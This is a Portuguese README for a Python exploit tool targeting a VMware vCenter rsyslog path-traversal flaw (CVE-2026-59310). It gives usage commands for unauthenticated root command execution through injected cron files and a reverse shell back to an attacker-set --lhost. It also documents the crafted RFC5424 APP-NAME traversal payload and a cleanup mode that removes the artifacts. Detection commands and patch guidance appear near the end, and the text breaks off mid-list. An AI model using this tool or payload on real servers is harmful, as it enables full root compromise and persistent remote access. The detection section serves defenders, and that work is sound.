
PoC em Python para CVE-2026-59310: explora a travessia de caminho do rsyslog do vCenter para gravar arquivos e executar comandos como root via cron, com modos check, exec, shell e cleanup.
Português | 中文
Fork otimizado de ChinaRan0/CVE-2026-59310-POC. A análise da vulnerabilidade segue esse projeto. Esta árvore reformula o cliente e a documentação para testes autorizados: subcomandos, um trabalho cron de execução única e um shell interativo em um PTY remoto.
Apenas para uso autorizado. Execute isto somente contra sistemas para os quais você tenha permissão escrita explícita de teste. Você é responsável por cumprir a legislação local e por qualquer impacto no alvo.
| CVE | CVE-2026-59310 |
| Aviso | VMSA-2026-0006 |
| CVSS v3.1 | 9.8 Crítico |
| Fraqueza | Path traversal no rsyslog do vCenter → escrita arbitrária de arquivo → execução de código como root |
| Privilégios necessários | Nenhum. Acesso de rede ao syslog (UDP/TCP 514) é suficiente |
| Corrigido em | 9.0.2.0100 (Build 25629525), 9.1.0.0300, 8.0 U3k, 8.0 U2f |
| Upstream | ChinaRan0/CVE-2026-59310-POC |
| Upstream | Este fork | |
|---|---|---|
| CLI | -c, --lhost e --check em um único parser | Subcomandos check, exec, shell, cleanup |
| Cron | Repete a cada minuto | Exclui seu próprio arquivo e então executa uma vez |
| Quoting | Texto do comando concatenado no shell | shlex.quote, para que aspas não possam dividir a linha do cron |
| Shell | Prompt falso local, uma linha por vez | PTY remoto, retransmissão de teclas, cores remotas e preenchimento com Tab |
| Limpeza | Dicas de rm impressas | Planta um trabalho de execução única que remove artefatos para --id |
| Listener | Vinculado a 0.0.0.0 | --bind seleciona o endereço local |
shell requer python3 no alvo. O vCenter Server Appliance o inclui. A sessão usa pty.spawn para que o shell tenha um terminal real.python3 exploit.py check <target>
python3 exploit.py exec <target> -c "id; hostname"
python3 exploit.py shell <target> --lhost <callback-ip> --lport 4444
python3 exploit.py cleanup <target> --id <id>
exec e shell gravam um arquivo cron que o crond executa cerca de 60 segundos depois, uma única vez. cleanup sem --id remove todos os artefatos que usam o prefixo cve59310.
| Opção | Significado |
|---|---|
--port | Porta do syslog. Padrão 514. |
--tcp | Envia o syslog via TCP em vez de UDP. |
--id | Id do artefato: 1–32 caracteres, [a-z0-9]. Aleatório quando omitido. |
-q | Suprime o banner. |
exec| Opção | Significado |
|---|---|
-c / --cmd | Comando a executar. stdout e stderr combinados vão para /tmp/cve59310_<id>.txt. |
--wait | Consulta repetidamente até que o arquivo de saída esteja legível, ou até o timeout. |
--timeout | Segundos para --wait. Padrão 180. |
--read-command | Template de argv local. {path} é o caminho de saída remoto. |
--wait requer --read-command, por exemplo ssh root@target cat {path}. O template é dividido com shlex e não é passado por um shell local. Um comando como a; b é agrupado como { a; b; } > file, de modo que ambas as partes são capturadas.
shell| Opção | Significado |
|---|---|
--lhost / --lport | Endereço e porta para os quais o alvo se conecta de volta. Porta padrão 4444. |
--bind | Endereço de escuta local. Padrão 0.0.0.0. |
--method {bash,python} | Qual programa abre o socket. Padrão bash. Ambos então usam o python3 do alvo para alocar um PTY. |
--timeout | Segundos para aguardar o callback. Padrão 180. |
O prompt, as cores e a conclusão com Tab vêm do bash do alvo. Ctrl+] fecha o lado local. exit encerra o shell remoto. Execute shell em um terminal real; um cliente com buffer por linha não consegue completar.
| Ação | Caminho |
|---|---|
check | /tmp/cve59310_check_<id>-syslog.log |
exec | /etc/cron.d/cve59310<id>-syslog.log e /tmp/cve59310_<id>.txt |
shell | /etc/cron.d/cve59310<id>-syslog.log, removido pelo próprio job após sua execução |
Registre o --id. cleanup <target> --id <id> exclui aquela execução. Sem --id, o job de limpeza exclui todo o prefixo cve59310.
| Alvo | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Build corrigida | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 |
| Entrada | UDP/TCP 514, sem autenticação |
Nessa build, check cria um arquivo de propriedade do root em /tmp, exec com id retorna uid=0(root) após cerca de um minuto, e shell apresenta o prompt do alvo (root [ / ]#, incluindo suas cores).
Qualquer versão anterior à build corrigida em seu branch. O vCenter standalone é afetado, assim como os componentes vCenter no VMware Cloud Foundation, vSphere Foundation e Telco Cloud.
| Branch | Afetado | Corrigido |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 GA / U1 | todas | Atualize para 8.0 U3k ou posterior |
| 7.0 | sem o patch correspondente | Obtenha o patch da Broadcom ou migre para uma versão suportada |
/sdk/vimServiceVersions.xml informa o namespace da API (frequentemente 9.0.0.0), não a build do appliance. Confirme a build com /etc/vmware-release e /etc/applmgmt/appliance/version.
A configuração do rsyslog do vCenter interpola %app-name% no caminho do log e deixa $EscapeControlCharactersOnReceive off:
$template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
:app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
pmrfc3164 trunca APP-NAME em /. pmrfc5424 não o faz, e o conjunto de regras padrão aceita RFC5424. Um APP-NAME criado como rsyslog/../../../../tmp/x é, portanto, escrito fora de /var/log/vmware/ como um arquivo *-syslog.log pertencente ao root. Uma nova linha no corpo da mensagem permite que uma linha de cron comece na coluna 0, então o crond a executa como root. O nome do arquivo sempre termina em -syslog.log, e é por isso que o arquivo de cron fica em /etc/cron.d/ em vez de substituir um crontab sem sufixo.
| Parser | Valor de %app-name% para rsyslog/../../../../tmp/x |
|---|---|
| pmrfc3164 | rsyslog |
| pmrfc5424 | rsyslog/../../../../tmp/x |
O aviso do fornecedor também descreve a escrita em /opt/vmware/share/htdocs/ e a leitura de volta através de https://<target>:5480/.
cat /etc/vmware-release
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
grep -n EscapeControlCharactersOnReceive /etc/rsyslog.conf
find / -name '*-syslog.log' \
-not -path '/var/log/vmware/*' \
-not -path '/storage/log/vmware/*' 2>/dev/null
ls -la /etc/cron.d/ /opt/vmware/share/htdocs/
Arquivos *-syslog.log fora dos diretórios de log, e diretórios cujos nomes contêm .., são o resíduo habitual. O rsyslog cria diretórios pai ausentes quando o template sai da árvore de logs.
Atualize. No ramo 9.0, a compilação mínima corrigida é 9.0.2.0100 (Build 25629525).
Até essa atualização: